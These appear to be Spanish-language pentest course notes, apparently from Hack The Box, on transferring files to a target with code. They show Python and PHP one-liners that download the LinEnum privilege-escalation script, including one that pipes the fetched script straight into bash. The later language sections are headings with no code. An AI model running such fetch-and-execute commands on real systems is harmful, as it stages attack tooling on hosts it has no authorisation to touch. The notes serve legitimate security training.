Transferring Files with Code

Python

Python es un lenguaje de programación muy popular. Actualmente, se admite la versión 3, pero es posible que encontremos servidores en los que aún exista la versión 2.7 de Python. PythonPuede ejecutar comandos de una sola línea desde una línea de comandos del sistema operativo utilizando la opción -c. Veamos algunos ejemplos:

Python 2 - Download

b0ySie7e@htb[/htb]$ python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Python 3 - Download

b0ySie7e@htb[/htb]$ python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

PHP

PHP Download with File_get_contents()

b0ySie7e@htb[/htb]$ php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

PHP Download with Fopen()

b0ySie7e@htb[/htb]$ php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

PHP Download a File and Pipe it to Bash

b0ySie7e@htb[/htb]$ php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Other Languages

Ruby - Download a File

Perl - Download a File

JavaScript

Download a File Using JavaScript and cscript.exe

El siguiente código JavaScript se basa en estaarrow-up-right publicación y podemos descargar un archivo con él. Crearemos un archivo llamado wget.jsy guardaremos el siguiente contenido:

VBScript

VBScriptarrow-up-right ("Microsoft Visual Basic Scripting Edition") es un lenguaje Active Scripting desarrollado por Microsoft que sigue el modelo de Visual Basic. VBScript se ha instalado de forma predeterminada en todas las versiones de escritorio de Microsoft Windows desde Windows 98.

El siguiente ejemplo de VBScript se puede utilizar en base a estoarrow-up-right . Crearemos un archivo llamado wget.vbsy guardaremos el siguiente contenido:

Download a File Using VBScript and cscript.exe

Upload Operations using Python3

Starting the Python uploadserver Module

Uploading a File Using a Python One-liner

Dividamos esta línea en varias líneas para comprender mejor cada parte.

Last updated